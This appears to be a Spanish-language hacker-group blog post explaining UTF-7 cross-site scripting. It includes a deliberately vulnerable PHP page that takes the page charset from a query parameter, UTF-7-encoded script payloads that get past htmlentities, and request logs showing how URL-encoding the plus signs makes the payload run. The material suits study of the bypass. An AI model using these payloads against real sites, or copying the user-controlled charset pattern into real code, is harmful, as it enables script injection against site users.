UTF-7 XSS analisís

Una noche mas de investigación, esta vez  hice una serie de pruebas para la explotación del xss mediante utf-7, si ya es muy bien conocido de todos modos me di a la tarea de ver como funciona internamente ya que en mas de una ocasión no se interpretaba debido a las deformaciones  de la cadena  por el intercambio de codificaciones entre el documento, navegador ó servidor,  y como era de esperarse algunas condiciones son  muy curiosas.

file: test.php

<?php

$cs=htmlentities($_GET['charset']); /* Charset */
$txt=htmlentities($_GET['html']); /* text */

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo $cs ?>" />
<title>test</title>
</head>
<body>
<?php echo $txt ?>
</body>
</html>

Ahora enviamos via get algunos valores malisiosos

test.php?charset=utf-8&html=<script>alert('Malandrines.net');</script>

Bien ahora veamos como el htmlentities no tiene nada que hacer ante un juego de caracteres UTF-7

echo iconv('iso-8859-1','UTF-7',"<script>alert('Malandrines.net');</script>");

Out:

+ADw-script+AD4-alert('Malandrines.net')+ADsAPA-/script+AD4-

y eviamos

test.php
?charset=utf-7
&html=+ADw-script+AD4-alert('Malandrines.net')+ADsAPA-/script+AD4-

Yo estoy utilizando una herramienta para hacer la peticion agena a la verdadera forma en que el navegador envia los datos al servidor

por ejemplo si usted envia directamente

test.php?charset=utf-7&html=+ADw-script+AD4-alert('Malandrines.net')+ADsAPA-/script+AD4-

su script no se ejecutara, porque?

veamos los logs de la peticion en cuestion

Log:

"GET /test.php?charset=utf-7&html=+ADw-script+AD4-alert(%27Malandrines.net%27)+ADsAPA-/script+AD4- HTTP/1.1" 200 201

Como pueden ver internamente apache parseo ' a %27 pero los signos

+ no los paso a %2b

"Los signos de suma (+) representan los espacion en blanco "
En la Codificación del URL se utiliza cuando se necesita usar un texto dentro del URL (en un QueryString, por ejemplo) para evitar que el motor de procesamiento confunda el texto con el URL mismo.

Para la indiada que confunde esto con el %20 xD Ejemplo:

http://yoursuckssite/MEGAN%20FOX.jpg
NO es lo mismo que:
http://yoursuckssite/MEGAN+FOX.jpg
Ni tampoco
http://yoursuckssite/MEGAN FOX.jpg

 

CUANDO LO QUE NECESITAMOS ES TOTALMENTE LO INVERSO, ES DECIR CONVERTIR LOS SIGNOS +

ok, ahora intentamos aplicando urlEncode antes de enviar

test.php?charset=utf-7&html=%2bADw-script%2bAD4-alert('Malandrines.net')%2bADsAPA-/script%2bAD4-

log:

"GET /test.php?charset=utf-7&html=%2bADw-script%2bAD4-alert(%27Malandrines.net%27)%2bADsAPA-/script%2bAD4- HTTP/1.1" 200 201

Esta vez como se aprecia en el log, los signos + los paso a %2b al igual las comillas a %27

la respuesta sera devuelta al navegador de una forma interpretable ya que al hacer el decode interno, la cadena volvera a su estado original la cual si sera ejecutada.

EOF

salu2 by nesok Malandrines.net Internet Security Team.

gr33t'z : b3n0x, s0cK0 ,bik0linux,4zul, d1xZ0n, w3r0x, s0p0rt3 g33k, g4b0, p0is0n-[x], Dr4w, pukk3r, pancho4x0r, Ridiculo xD && all indians of world xD SH =***

last posts -
3x175 -
Links:

NI QUIEN NOS GANE
 Power OS 4b0u7 SlackWare

c0ding by n350k